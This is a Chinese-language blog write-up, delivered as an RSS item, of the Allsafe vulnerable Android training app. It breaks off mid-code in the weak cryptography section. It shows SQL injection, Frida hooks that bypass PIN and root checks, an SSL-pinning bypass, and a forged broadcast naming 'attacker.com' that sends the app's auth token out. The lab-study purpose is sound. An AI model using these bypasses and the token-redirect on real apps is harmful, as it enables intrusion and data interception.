<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>ONE PIECE 航海日志</title><description>向着伟大航路出发</description><link>https://blog-5w0.pages.dev/</link><language>zh_CN</language><item><title>Allsafe 靶场练习 WriteUp</title><link>https://blog-5w0.pages.dev/posts/allsafe/</link><guid isPermaLink="true">https://blog-5w0.pages.dev/posts/allsafe/</guid><description>Allsafe 靶场练习 WriteUp CTF WriteUp</description><pubDate>Mon, 01 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Insecure Logging  不安全的日志记录&lt;/h1&gt;
&lt;p&gt;这个第一个挑战就是这个apk的日志信息泄露&lt;/p&gt;
&lt;p&gt;用adb logcat查看日志信息，然后输入一个尝试密码‘weixiaoking’&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-01.png&quot; alt=&quot;Figure 1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在日志里面就可以看到，所以如果输入的正确密码，可能存在信息泄露&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-02.png&quot; alt=&quot;Figure 2&quot; /&gt;&lt;/p&gt;
&lt;p&gt;是源于此代码&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-03.png&quot; alt=&quot;Figure 3&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Hardcoded Credentials  硬编码凭证&lt;/h1&gt;
&lt;p&gt;这一关就是说有一些硬编码的泄露&lt;/p&gt;
&lt;p&gt;第一处内容为admin：psaaword123&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-04.png&quot; alt=&quot;Figure 4&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第二处&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-05.png&quot; alt=&quot;Figure 5&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;&amp;lt;font style=&quot;color:rgb(36, 36, 36);&quot;&amp;gt;Firebase Database:  Firebase 数据库&amp;lt;/font&amp;gt;&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Firebase 数据库漏洞源于开发者未能为其 Firebase 实时数据库或 Firestore 配置提供充分的访问控制。Firebase 实时数据库以 REST API 的形式运行，可通过在 URL 后添加 .json 访问；如果读写权限设置为“任何人”，未经身份验证的攻击者即可直接访问数据库。&lt;/p&gt;
&lt;p&gt;在使用apkleaks对这个apk进行扫描时，发现这个apk确实用了Firebase&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-06.png&quot; alt=&quot;Figure 6&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-07.png&quot; alt=&quot;Figure 7&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在jadx中搜索，url为&lt;a href=&quot;https://allsafe-8cef0.firebaseio.com&quot;&gt;https://allsafe-8cef0.firebaseio.com&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-08.png&quot; alt=&quot;Figure 8&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在url后加上/.json&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-09.png&quot; alt=&quot;Figure 9&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Insecure Shared Preferences不安全的共享偏好&lt;/h1&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-10.png&quot; alt=&quot;Figure 10&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当 Android 应用程序使用 SharedPreferences 机制存储敏感数据（例如用户名、密码、令牌、API 密钥、信用卡信息等）而未进行加密或缺乏足够的访问控制时，就会出现不安全的 Shared Preferences 漏洞。如果设备已获得 root 权限或运行恶意应用程序，则这些数据很容易被访问、读取和篡改。这可能导致用户数据被盗、身份验证被绕过或帐户被劫持。&lt;/p&gt;
&lt;p&gt;每个应用都有自己的shared_prefs目录，通常位于/data/data/&amp;lt;包名&amp;gt;/shared_prefs/&lt;/p&gt;
&lt;p&gt;我先随便设置一下用户名与密码&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-11.png&quot; alt=&quot;Figure 11&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在去MT管理器查看&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-12.png&quot; alt=&quot;Figure 12&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;SQL Injection  SQL 注入&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞定义 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;SQL 注入漏洞是指应用程序在未进行充分验证或过滤的情况下，直接将从用户接收的数据包含在 SQL 查询中。攻击者可以使用精心构造的输入（有效载荷）来获取对数据库的未经授权的访问权限，造成数据泄露，修改或删除数据，在某些情况下甚至可以在应用程序运行的服务器上执行命令。这种漏洞常见于 Web 应用程序、API 或移动应用程序的后端服务中。&lt;/p&gt;
&lt;p&gt;源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    public static final void onCreateView$lambda$0(SQLiteDatabase $db, TextInputEditText $username, SQLInjection this$0, TextInputEditText $password, View it) throws NoSuchAlgorithmException {
        Cursor cursor = $db.rawQuery(&quot;select * from user where username = &apos;&quot; + ((Object) $username.getText()) + &quot;&apos; and password = &apos;&quot; + this$0.md5(String.valueOf($password.getText())) + &quot;&apos;&quot;, null);
        Intrinsics.checkNotNullExpressionValue(cursor, &quot;rawQuery(...)&quot;);
        StringBuilder data = new StringBuilder();
        if (cursor.getCount() &amp;gt; 0) {
            cursor.moveToFirst();
            do {
                String user = cursor.getString(1);
                String pass = cursor.getString(2);
                data.append(&quot;User: &quot; + user + &quot; \nPass: &quot; + pass + &quot;\n&quot;);
            } while (cursor.moveToNext());
        }
        cursor.close();
        Toast.makeText(this$0.getContext(), data, 1).show();
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;利用sql语句漏洞，获得了所有用户的用户名与密码&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-13.png&quot; alt=&quot;Figure 13&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;PIN Bypass  PIN 码旁路&lt;/h1&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-14.png&quot; alt=&quot;Figure 14&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;PIN 码绕过漏洞是一种安全缺陷，它允许应用程序或设备绕过用户 PIN 码（个人识别码）验证，或被他人绕过。&lt;/p&gt;
&lt;p&gt;找到源码，其实pin码已经硬编码在代码里了，我们可以直接对其进行base64解码得到4863&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-15.png&quot; alt=&quot;Figure 15&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但这关是要让我们使用Frida来过关，我的思路是不验证随便输入一个都能通过验证，这需要我们来对验证函数进行挂钩&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Java.perform(function(){
    const pin=Java.use(&quot;infosecadventures.allsafe.challenges.PinBypass&quot;);
    pin.checkPin.implementation = function (pin){
    return true;
    }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\35159&amp;gt; frida -U -N infosecadventures.allsafe -l E:\ctf\linghsi\hook.js
     ____
    / _  |   Frida 17.8.0 - A world-class dynamic instrumentation toolkit
   | (_| |
    &amp;gt; _  |   Commands:
   /_/ |_|       help      -&amp;gt; Displays the help system
   . . . .       object?   -&amp;gt; Display information about &apos;object&apos;
   . . . .       exit/quit -&amp;gt; Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Android Emulator 5554 (id=emulator-5554)
[Android Emulator 5554::infosecadventures.allsafe ]-&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;即使我输的不是4863，也会通过&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-16.png&quot; alt=&quot;Figure 16&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Root Detection  根检测&lt;/h1&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-17.png&quot; alt=&quot;Figure 17&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Root 检测绕过漏洞允许攻击者绕过 Android 应用程序中开发者添加的用于检测设备是否已 root 的检查机制。通常情况下，应用程序应被禁止在已 root 的设备上运行，或者需要提高安全级别。然而，这些检查机制的薄弱或错误实现使得攻击者能够操纵 root 检测机制，从而使应用程序能够在已 root 的设备上运行，并禁用安全措施。&lt;/p&gt;
&lt;p&gt;源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public static final void onCreateView$lambda$0(RootDetection this$0, View it) {
        if (new RootBeer(this$0.getContext()).isRooted()) {
            SnackUtil snackUtil = SnackUtil.INSTANCE;
            FragmentActivity fragmentActivityRequireActivity = this$0.requireActivity();
            Intrinsics.checkNotNullExpressionValue(fragmentActivityRequireActivity, &quot;requireActivity(...)&quot;);
            snackUtil.simpleMessage(fragmentActivityRequireActivity, &quot;Sorry, your device is rooted!&quot;);
            return;
        }
        SnackUtil snackUtil2 = SnackUtil.INSTANCE;
        FragmentActivity fragmentActivityRequireActivity2 = this$0.requireActivity();
        Intrinsics.checkNotNullExpressionValue(fragmentActivityRequireActivity2, &quot;requireActivity(...)&quot;);
        snackUtil2.simpleMessage(fragmentActivityRequireActivity2, &quot;Congrats, root is not detected!&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;hook脚本，使用的类com.scottyab.rootbeer.RootBeer&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-18.png&quot; alt=&quot;Figure 18&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Java.perform(function(){
    var rootdetection=Java.use(&quot;com.scottyab.rootbeer.RootBeer&quot;);
    rootdetection.isRooted.implementation = function (){
        return false;
    }
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-19.png&quot; alt=&quot;Figure 19&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在来检测即使我们设备已经root了，也检测不到&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-20.png&quot; alt=&quot;Figure 20&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Deep Link Exploitation  深度链接利用&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;深度链接利用漏洞源于移动应用程序中使用的深度链接机制未能得到安全验证。深度链接允许用户直接重定向到应用程序的特定屏幕或功能。如果应用程序在处理通过深度链接接收的参数或调用时缺乏足够的身份验证和授权控制，攻击者就可以通过精心构造的链接访问应用程序的关键功能。这会导致一系列安全风险，例如未经授权的用户修改帐户设置、在未登录的情况下被重定向到授权屏幕，或触发敏感操作。&lt;/p&gt;
&lt;p&gt;源码定位&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class DeepLinkTask extends AppCompatActivity {
    @Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_deep_link_task);
        Intent intent = getIntent();
        String action = intent.getAction();
        Uri data = intent.getData();
        Log.d(&quot;ALLSAFE&quot;, &quot;Action: &quot; + action + &quot; Data: &quot; + data);
        try {
            if (data.getQueryParameter(&quot;key&quot;).equals(getString(R.string.key))) {
                findViewById(R.id.container).setVisibility(0);
                SnackUtil.INSTANCE.simpleMessage(this, &quot;Good job, you did it!&quot;);
            } else {
                SnackUtil.INSTANCE.simpleMessage(this, &quot;Wrong key, try harder!&quot;);
            }
        } catch (Exception e) {
            SnackUtil.INSTANCE.simpleMessage(this, &quot;No key provided!&quot;);
            Log.e(&quot;ALLSAFE&quot;, e.getMessage());
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们先去string.xml里找到内置的key&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-21.png&quot; alt=&quot;Figure 21&quot; /&gt;&lt;/p&gt;
&lt;p&gt;url的具体格式要看AndroidManifest.xml里的这个Activity的intent-filter&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-22.png&quot; alt=&quot;Figure 22&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在 Android 应用程序中测试深度链接最常用的命令之一是 &lt;code&gt;adb shell am start&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am start -W -a android.intent.action.VIEW -d &quot;deeplink://parametre?query=key&quot; com.hedef.uygulama
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;adb shell am start&lt;/code&gt; → 通过 Activity Manager 启动一个新的 intent。&lt;/p&gt;
&lt;p&gt;-W → 等待命令完成&lt;/p&gt;
&lt;p&gt;-a android.intent.action.VIEW → 动作中的意图（在通用视图中进行深度链接）。&lt;/p&gt;
&lt;p&gt;-d &quot;deeplink://...&quot; → 深度链接 URI（根据具体情况，此处会写入 URL 或自定义方案）。&lt;/p&gt;
&lt;p&gt;com.target.application → 目标应用程序的包名。&lt;/p&gt;
&lt;p&gt;根据我们上面找到的信息&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;scheme--&amp;gt;allsafe(方案）
host--&amp;gt;infosecadventures(主机）
pathPrefix--&amp;gt;/congrats（路径前缀）
软件包名称--&amp;gt;infosecadventures.allsafe
key--&amp;gt;ebfb7ff0-b2f6-41c8-bef3-4fba17be410c
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;总和下来命令为&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am start -W -a android.intent.action.VIEW -d &quot;allsafe://infosecadventures/congrats?key=ebfb7ff0-b2f6-41c8-bef3-4fba17be410c&quot; infosecadventures.allsafe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-23.png&quot; alt=&quot;Figure 23&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-24.png&quot; alt=&quot;Figure 24&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Insecure Broadcast Receiver 不安全的广播接收器&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当 Android 应用中使用的广播接收器组件未进行适当的安全控制或未启用安全设置时，就会出现不安全的广播接收器漏洞。如果广播接收器被标记为 exports=&quot;true&quot; 且未应用任何授权控制，其他应用或攻击者可以向该接收器发送恶意广播意图消息。这可能导致应用内触发未经授权的操作、访问敏感信息或出现意外的应用行为。&lt;/p&gt;
&lt;p&gt;在AndroidMainfest.xml文件里确定确实是导出状态&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-25.png&quot; alt=&quot;Figure 25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;去看源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class NoteReceiver extends BroadcastReceiver {
    @Override // android.content.BroadcastReceiver
    public void onReceive(Context context, Intent intent) {
        String server = intent.getStringExtra(&quot;server&quot;);
        String note = intent.getStringExtra(&quot;note&quot;);
        String notification_message = intent.getStringExtra(&quot;notification_message&quot;);
        OkHttpClient okHttpClient = new OkHttpClient.Builder().build();
        HttpUrl httpUrl = new HttpUrl.Builder().scheme(&quot;http&quot;).host(server).addPathSegment(&quot;api&quot;).addPathSegment(&quot;v1&quot;).addPathSegment(&quot;note&quot;).addPathSegment(&quot;add&quot;).addQueryParameter(&quot;auth_token&quot;, &quot;YWxsc2FmZV9kZXZfYWRtaW5fdG9rZW4=&quot;).addQueryParameter(&quot;note&quot;, note).build();
        Log.d(&quot;ALLSAFE&quot;, httpUrl.getUrl());
        Request request = new Request.Builder().url(httpUrl).build();
        okHttpClient.newCall(request).enqueue(new Callback(this) { // from class: infosecadventures.allsafe.challenges.NoteReceiver.1
            @Override // okhttp3.Callback
            public void onFailure(Call call, IOException e) {
                Log.d(&quot;ALLSAFE&quot;, e.getMessage());
            }

            @Override // okhttp3.Callback
            public void onResponse(Call call, Response response) throws IOException {
                Log.d(&quot;ALLSAFE&quot;, ((ResponseBody) Objects.requireNonNull(response.body())).string());
            }
        });
        NotificationCompat.Builder builder = new NotificationCompat.Builder(context, &quot;ALLSAFE&quot;);
        builder.setContentTitle(&quot;Notification from Allsafe&quot;);
        builder.setContentText(notification_message);
        builder.setSmallIcon(R.mipmap.ic_launcher_round);
        builder.setAutoCancel(true);
        builder.setChannelId(&quot;ALLSAFE&quot;);
        Notification notification = builder.build();
        NotificationManager notificationManager = (NotificationManager) context.getSystemService(&quot;notification&quot;);
        NotificationChannel notificationChannel = new NotificationChannel(&quot;ALLSAFE&quot;, &quot;ALLSAFE_NOTIFICATION&quot;, 4);
        notificationManager.createNotificationChannel(notificationChannel);
        notificationManager.notify(1, notification);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;先来分析一下吧&lt;/p&gt;
&lt;p&gt;从广播里取参数&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-26.png&quot; alt=&quot;Figure 26&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发一个HTTP请求&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; HttpUrl httpUrl = new HttpUrl.Builder().scheme(&quot;http&quot;).host(server).addPathSegment(&quot;api&quot;).addPathSegment(&quot;v1&quot;).addPathSegment(&quot;note&quot;).addPathSegment(&quot;add&quot;).addQueryParameter(&quot;auth_token&quot;, &quot;YWxsc2FmZV9kZXZfYWRtaW5fdG9rZW4=&quot;).addQueryParameter(&quot;note&quot;, note).build();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;组合在一起，最终http长这样&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://&amp;lt;server&amp;gt;/api/v1/note/add?auth_token=YWxsc2FmZV9kZXZfYWRtaW5fdG9rZW4=&amp;amp;note=&amp;lt;note&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;异步发送&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-27.png&quot; alt=&quot;Figure 27&quot; /&gt;&lt;/p&gt;
&lt;p&gt;伪造命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adb shell am broadcast -n infosecadventures.allsafe/.challenges.NoteReceiver -a infosecadventures.allsafe.action.PROCESS_NOTE --es server &quot;attacker.com&quot; --es note &quot;hacked_by_me&quot; --es notification_message &quot;Hacked&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-28.png&quot; alt=&quot;Figure 28&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Vulnerable WebView  存在漏洞的 WebView&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;应用程序中使用的 WebView 组件通过 loadUrl() 和 loadData() 方法处理用户输入的数据，而未进行任何验证或过滤。loadUrl() 函数直接执行用户提供的 URL，而 loadData() 函数处理输入的 HTML/JavaScript 代码并将其渲染到浏览器引擎中。此外，使用 setJavaScriptEnabled(true) 允许攻击者执行恶意 JavaScript 代码。这可能使恶意用户能够在应用程序内执行 XSS 攻击、重定向到恶意网页或篡改应用程序内的数据。&lt;/p&gt;
&lt;p&gt;源代码&lt;/p&gt;
&lt;p&gt;输入框里的内容要么被当成 URL 打开，要么被当成 HTML 直接渲染&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class VulnerableWebView extends Fragment {
    @Override // androidx.fragment.app.Fragment
    public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) {
        View view = inflater.inflate(R.layout.fragment_vulnerable_web_view, container, false);
        final TextInputEditText payload = (TextInputEditText) view.findViewById(R.id.payload);
        final WebView webView = (WebView) view.findViewById(R.id.webView);
        webView.setWebViewClient(new WebViewClient());
        WebSettings settings = webView.getSettings();
        settings.setJavaScriptEnabled(true);
        settings.setAllowFileAccess(true);
        settings.setLoadWithOverviewMode(true);
        settings.setSupportZoom(true);
        view.findViewById(R.id.execute).setOnClickListener(new View.OnClickListener() { // from class: infosecadventures.allsafe.challenges.VulnerableWebView$$ExternalSyntheticLambda0
            @Override // android.view.View.OnClickListener
            public final void onClick(View view2) {
                this.f$0.lambda$onCreateView$0(payload, webView, view2);
            }
        });
        return view;
    }

    /* JADX INFO: Access modifiers changed from: private */
    public /* synthetic */ void lambda$onCreateView$0(TextInputEditText payload, WebView webView, View v) {
        if (!((Editable) Objects.requireNonNull(payload.getText())).toString().isEmpty()) {
            if (URLUtil.isValidUrl(((Editable) Objects.requireNonNull(payload.getText())).toString())) {
                webView.loadUrl(payload.getText().toString());
                return;
            } else {
                webView.setWebChromeClient(new WebChromeClient());
                webView.loadData(payload.getText().toString(), &quot;text/html&quot;, &quot;UTF-8&quot;);
                return;
            }
        }
        SnackUtil.INSTANCE.simpleMessage(requireActivity(), &quot;No payload provided!&quot;);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;题目要求&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-29.png&quot; alt=&quot;Figure 29&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先输入一个正常的url&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-30.png&quot; alt=&quot;Figure 30&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-31.png&quot; alt=&quot;Figure 31&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里说明允许webview访问设备的文件系统，意味着webview可以访问使用file://URL方案打开的本地文件&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-32.png&quot; alt=&quot;Figure 32&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也可以&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-33.png&quot; alt=&quot;Figure 33&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Certificate Pinning  证书别针&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;移动应用程序中用于 SSL/TLS 证书验证的证书固定机制可被绕过。通常，证书固定机制确保客户端和服务器之间的通信仅信任特定的证书，从而防止中间人攻击 (MitM)。然而，如果应用程序中的此控制被绕过，攻击者可以使用逆向工程、运行时钩子（Frida、Xposed）或薄弱的证书固定实现来解密 SSL 流量。这会削弱应用程序的安全通信机制，并允许攻击者拦截本应加密的数据（用户名、密码、令牌、会话信息等）。&lt;/p&gt;
&lt;p&gt;运行一下frida codeshare里的SSL证书验证绕过脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PS C:\Users\35159&amp;gt; frida -U --codeshare Q0120S/bypass-ssl-pinning -f infosecadventures.allsafe
     ____
    / _  |   Frida 17.8.0 - A world-class dynamic instrumentation toolkit
   | (_| |
    &amp;gt; _  |   Commands:
   /_/ |_|       help      -&amp;gt; Displays the help system
   . . . .       object?   -&amp;gt; Display information about &apos;object&apos;
   . . . .       exit/quit -&amp;gt; Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
   . . . .
   . . . .   Connected to Android Emulator 5554 (id=emulator-5554)
Spawning `infosecadventures.allsafe`...
Hello! This is the first time you&apos;re running this particular snippet, or the snippet&apos;s source code has changed.

Project Name: Bypass SSL Pinning
Author: @Q0120S
Slug: Q0120S/bypass-ssl-pinning
Fingerprint: ac76d00550025da4fbca5adaf93948a773ed982c9b53baa44e13e437bbef401e
URL: https://codeshare.frida.re/@Q0120S/bypass-ssl-pinning

Are you sure you&apos;d like to trust this project? [y/N] y
Adding fingerprint ac76d00550025da4fbca5adaf93948a773ed982c9b53baa44e13e437bbef401e to the trust store! You won&apos;t be prompted again unless the code changes.
Spawned `infosecadventures.allsafe`. Resuming main thread!
[Android Emulator 5554::infosecadventures.allsafe ]-&amp;gt; ---
Unpinning Android app...
[+] SSLPeerUnverifiedException auto-patcher
[+] HttpsURLConnection (setDefaultHostnameVerifier)
[+] HttpsURLConnection (setSSLSocketFactory)
[+] HttpsURLConnection (setHostnameVerifier)
[+] SSLContext
[+] TrustManagerImpl
[+] OkHTTPv3 (list)
[ ] OkHTTPv3 (cert)
[+] OkHTTPv3 (cert array)
[+] OkHTTPv3 ($okhttp)
[ ] Trustkit OkHostnameVerifier(SSLSession)
[ ] Trustkit OkHostnameVerifier(cert)
[ ] Trustkit PinningTrustManager
[ ] Appcelerator PinningTrustManager
[ ] OpenSSLSocketImpl Conscrypt
[ ] OpenSSLEngineSocketImpl Conscrypt
[ ] OpenSSLSocketImpl Apache Harmony
[ ] PhoneGap sslCertificateChecker
[ ] IBM MobileFirst pinTrustedCertificatePublicKey (string)
[ ] IBM MobileFirst pinTrustedCertificatePublicKey (string array)
[ ] IBM WorkLight HostNameVerifierWithCertificatePinning (SSLSocket)
[ ] IBM WorkLight HostNameVerifierWithCertificatePinning (cert)
[ ] IBM WorkLight HostNameVerifierWithCertificatePinning (string string)
[ ] IBM WorkLight HostNameVerifierWithCertificatePinning (SSLSession)
[ ] Conscrypt CertPinManager
[ ] CWAC-Netsecurity CertPinManager
[ ] Worklight Androidgap WLCertificatePinningPlugin
[ ] Netty FingerprintTrustManagerFactory
[ ] Squareup CertificatePinner (cert)
[ ] Squareup CertificatePinner (list)
[ ] Squareup OkHostnameVerifier (cert)
[ ] Squareup OkHostnameVerifier (SSLSession)
[+] Android WebViewClient (SslErrorHandler)
[ ] Android WebViewClient (WebResourceError)
[ ] Apache Cordova WebViewClient
[ ] Boye AbstractVerifier
[ ] Appmattus (CertificateTransparencyInterceptor)
[ ] Appmattus (CertificateTransparencyTrustManager)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再点击发送请求，BurpSuite就可以拦截到&lt;/p&gt;
&lt;p&gt;&amp;lt;!-- 这是一张图片，ocr 内容为： --&amp;gt;
&lt;img src=&quot;./images/img-34.png&quot; alt=&quot;Figure 34&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Weak Cryptography  弱密码学&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;漏洞描述 ：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该应用程序使用不安全的加密方法来加密和维护敏感数据的完整性。&lt;/p&gt;
&lt;p&gt;先看源码&lt;/p&gt;
&lt;p&gt;固定密钥（KEY = &quot;1nf053c4dv3n7ur3&quot;)&lt;/p&gt;
&lt;p&gt;AES加密使用ECB模式&lt;/p&gt;
&lt;p&gt;使用了MD5算法&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public class WeakCryptography extends Fragment {
    public static final String KEY = &quot;1nf053c4dv3n7ur3&quot;;

    public static String encrypt(String value) {
        try {
            SecretKeySpec secretKeySpec = new SecretKeySpec(KEY.getBytes(StandardCharsets.UTF_8), &quot;AES&quot;);
            Cipher cipher = Cipher.getInstance(&quot;AES/ECB/PKCS5PADDING&quot;);
            cipher.init(1, secretKeySpec);
            byte[] encrypted = cipher.doFinal(value.getBytes());
            return new String(encrypted);
